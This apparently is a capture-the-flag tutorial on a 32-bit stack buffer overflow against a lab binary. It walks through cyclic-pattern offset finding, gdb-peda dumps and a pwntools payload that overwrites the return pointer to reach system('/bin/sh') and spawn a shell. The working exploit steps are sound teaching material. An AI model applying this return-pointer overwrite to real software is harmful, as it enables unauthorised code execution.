This challenge is designed to show how to find and overwrite the return pointer on the stack. You may want to check out: LiveOverflow
This challenge builds off of the previous one. The last challenge overwrote a variables' value on the stack. In this challenge we look into program flow and taking control of code execution.
The source for this challenge is very similar except that the passed parameter is defined in a global scope. This means that the comparison is not going to look on the stack for the variable value.
If we revisit my very crude depiction of the stack, we can see where the return pointer is. When a function is called the return pointer will get pushed to the stack and then stack memory will be allocated for that function to do what it needs with its local variables.
-------------------------
Lower Stack Addresses
-------------------------
0x1ac overflowme <---- The location we're writing to with gets()
...
0x1c8 end of overflowme
.
.
.
.
0x??? Return Pointer <---- Return pointer back to main.
-------------------------
Higher Stack Addresses
-------------------------
Steps to solve:
- Overflow the buffer with easily identifiable input
- Locate the offset of the return pointer
- Find where to redirect code execution
- Construct and send our input with the return pointer overwritten to the value found in #3
- Profit
Time to look at an example.
We will do this the same way as the previous challenge. The step1.py script is set up to execute and attach a debugger.
Relevant code in the script:
payload = cyclic(100)
r.sendline(payload)
Execute step1.py -d to start the script with the debugger attached.
The debugger will start and automatically break upon entering into the func()
function. Next type continue
or c
for short and press enter.
Continue pressing enter until you get to the following instruction, try to follow along what is actually happening along the way:
=> 0x8048570 <func+85>: ret
It should look like this:
[----------------------------------registers-----------------------------------]
EAX: 0x6
EBX: 0x0
ECX: 0xffffffff
EDX: 0xf775b870 --> 0x0
ESI: 0xf775a000 --> 0x1b1db0
EDI: 0xf775a000 --> 0x1b1db0
EBP: 0x6161616b ('kaaa')
ESP: 0xffe2f12c ("laaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa")
EIP: 0x8048570 (<func+85>: ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804856b <func+80>: add esp,0x10
0x804856e <func+83>: nop
0x804856f <func+84>: leave
=> 0x8048570 <func+85>: ret
0x8048571 <main>: lea ecx,[esp+0x4]
0x8048575 <main+4>: and esp,0xfffffff0
0x8048578 <main+7>: push DWORD PTR [ecx-0x4]
0x804857b <main+10>: push ebp
[------------------------------------stack-------------------------------------]
0000| 0xffe2f12c ("laaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa")
0004| 0xffe2f130 ("maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa")
0008| 0xffe2f134 ("naaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa")
0012| 0xffe2f138 ("oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa")
0016| 0xffe2f13c ("paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa")
0020| 0xffe2f140 ("qaaaraaasaaataaauaaavaaawaaaxaaayaaa")
0024| 0xffe2f144 ("raaasaaataaauaaavaaawaaaxaaayaaa")
0028| 0xffe2f148 ("saaataaauaaavaaawaaaxaaayaaa")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
gdb-peda$
The ret
instruction will take the next value off the stack and load that into the EIP register (Instruction pointer) and then code execution will continue from there. In the case above, the program will try to execute code at 0x6161616c (this is the hex representation of 'laaa').
If you type next
and enter, you should see this:
[----------------------------------registers-----------------------------------]
EAX: 0x6
EBX: 0x0
ECX: 0xffffffff
EDX: 0xf775b870 --> 0x0
ESI: 0xf775a000 --> 0x1b1db0
EDI: 0xf775a000 --> 0x1b1db0
EBP: 0x6161616b ('kaaa')
ESP: 0xffe2f130 ("maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa")
EIP: 0x6161616c ('laaa')
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x6161616c
[------------------------------------stack-------------------------------------]
0000| 0xffe2f130 ("maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa")
0004| 0xffe2f134 ("naaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa")
0008| 0xffe2f138 ("oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa")
0012| 0xffe2f13c ("paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa")
0016| 0xffe2f140 ("qaaaraaasaaataaauaaavaaawaaaxaaayaaa")
0020| 0xffe2f144 ("raaasaaataaauaaavaaawaaaxaaayaaa")
0024| 0xffe2f148 ("saaataaauaaavaaawaaaxaaayaaa")
0028| 0xffe2f14c ("taaauaaavaaawaaaxaaayaaa")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
gdb-peda$
Specifically we are interested in EIP: 0x6161616c ('laaa')
. This means that we know exactly what offset into our buffer we need to change. We can manually count exactly how many characters were before the laaa
, but who has time for that? Pwntools to the rescue, we can use the commandline functionality to do the search:
$ pwn cyclic -l 'laaa'
44
So we need to provide 44 characters (they will get ignored) and then have to give the address of code we want to execute. For now, lets make sure we have this part correct and send something easily identifiable. I like using AAAA
because it's 0x41414141
.
Change the lines in the script to:
wait_for_prompt(r)
payload = 'a'*44
payload += 'AAAA'
r.sendline(payload)
The change has been made in step2.py. Now execute it with step2.py -d and the debugger should break right before the ret
instruction. If you type next
and then enter, you should see:
[----------------------------------registers-----------------------------------]
EAX: 0x6
EBX: 0x0
ECX: 0xffffffff
EDX: 0xf7740870 --> 0x0
ESI: 0xf773f000 --> 0x1b1db0
EDI: 0xf773f000 --> 0x1b1db0
EBP: 0x61616161 ('aaaa')
ESP: 0xffe9dc10 --> 0xf773f300 --> 0xf76e8267 (dec ecx)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
Yay, congratulations. You have EIP control. But what do you do with it?
So now how do you know where to direct code execution to? This is where you'll need to get better at reading assembly and understanding what is happening. For this challenge I'll highlight where to jump to and why. From the source code we know there is a call to system("/bin/sh");
. This is what we want to execute. We know it's in the func()
function. So lets disassemble that function in gdb:
gdb-peda$ disassemble func
Dump of assembler code for function func:
0x0804851b <+0>: push ebp
0x0804851c <+1>: mov ebp,esp
0x0804851e <+3>: sub esp,0x28
0x08048521 <+6>: sub esp,0xc
0x08048524 <+9>: push 0x8048640
0x08048529 <+14>: call 0x80483b0 <printf@plt>
0x0804852e <+19>: add esp,0x10
0x08048531 <+22>: sub esp,0xc
0x08048534 <+25>: lea eax,[ebp-0x28]
0x08048537 <+28>: push eax
0x08048538 <+29>: call 0x80483c0 <gets@plt>
0x0804853d <+34>: add esp,0x10
0x08048540 <+37>: mov eax,ds:0x804a02c
0x08048545 <+42>: cmp eax,0xcafebabe
0x0804854a <+47>: jne 0x804855e <func+67>
0x0804854c <+49>: sub esp,0xc
0x0804854f <+52>: push 0x804864f
0x08048554 <+57>: call 0x80483e0 <system@plt>
0x08048559 <+62>: add esp,0x10
0x0804855c <+65>: jmp 0x804856e <func+83>
0x0804855e <+67>: sub esp,0xc
0x08048561 <+70>: push 0x8048657
0x08048566 <+75>: call 0x80483d0 <puts@plt>
0x0804856b <+80>: add esp,0x10
0x0804856e <+83>: nop
0x0804856f <+84>: leave
0x08048570 <+85>: ret
End of assembler dump.
See the line 0x08048554 <+57>: call 0x80483e0 <system@plt>
? That's the system()
call. But just jumping to this location won't solve the challenge. Feel free to experiment with this if you wish.
The problem is that system()
has to be passed an argument. In our case we want to pass it "/bin/sh"
. Arguments are passed to functions by pushing the parameter to the stack prior to the call. So lets look at the line above the call to system
0x0804854f <+52>: push 0x804864f
0x08048554 <+57>: call 0x80483e0 <system@plt>
This pushes a value to the stack right before the call is made to system
. We can inspect the memory at that location:
gdb-peda$ telescope 0x804864f
0000| 0x804864f ("/bin/sh")
0004| 0x8048653 --> 0x68732f ('/sh')
0008| 0x8048657 ("Nah..")
0012| 0x804865b --> 0x2e ('.')
0016| 0x804865f --> 0x31b0100
0020| 0x8048663 --> 0x303b (';0')
0024| 0x8048667 --> 0x500
0028| 0x804866b --> 0xfffd4000
We can see that the address 0x804864f
holds the string "/bin/sh"
. So we want to jump to 0x0804854f
since it will set up the stack exactly how we need it (pushing the pointer to the string, and then calling system).
Change the lines in the script to:
wait_for_prompt(r)
payload = 'a'*44
payload += p32(0x0804854f) # pwntools provides an easy p32() function to not have to worry about endianess
r.sendline(payload)
The change has been made in step3.py. Now execute it with step3.py -d and the debugger should break right before the ret
instruction. If you type next
and then enter, you should see:
[----------------------------------registers-----------------------------------]
EAX: 0x6
EBX: 0x0
ECX: 0xffffffff
EDX: 0xf7739870 --> 0x0
ESI: 0xf7738000 --> 0x1b1db0
EDI: 0xf7738000 --> 0x1b1db0
EBP: 0x61616161 ('aaaa')
ESP: 0xffb43a50 --> 0xf7738300 --> 0xf76e1267 (dec ecx)
EIP: 0x804854f (<func+52>: push 0x804864f)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048545 <func+42>: cmp eax,0xcafebabe
0x804854a <func+47>: jne 0x804855e <func+67>
0x804854c <func+49>: sub esp,0xc
=> 0x804854f <func+52>: push 0x804864f
0x8048554 <func+57>: call 0x80483e0 <system@plt>
0x8048559 <func+62>: add esp,0x10
0x804855c <func+65>: jmp 0x804856e <func+83>
0x804855e <func+67>: sub esp,0xc
[------------------------------------stack-------------------------------------]
0000| 0xffb43a50 --> 0xf7738300 --> 0xf76e1267 (dec ecx)
0004| 0xffb43a54 --> 0xffb43a70 --> 0x1
0008| 0xffb43a58 --> 0x0
0012| 0xffb43a5c --> 0xf759e637 (<__libc_start_main+247>: add esp,0x10)
0016| 0xffb43a60 --> 0xf7738000 --> 0x1b1db0
0020| 0xffb43a64 --> 0xf7738000 --> 0x1b1db0
0024| 0xffb43a68 --> 0x0
0028| 0xffb43a6c --> 0xf759e637 (<__libc_start_main+247>: add esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
gdb-peda$
Yay, it's executing exactly what we want it to. Do you feel the power?
Now exit the debugger and run the script without the debugger attached:
$ step3.py You should get an interactive shell. EG:
$ ./step3.py
[+] Starting local process './bof2': pid 27114
overflow me :
[*] Switching to interactive mode
Nah..
$ ls
bof2 bof2.c flag README.md runit.sh step1.py step2.py step3.py
$ cat flag
flag{test_flag_for_chall}
$
Hopefully that made sense, and you feel more comfortable with buffer overflows now.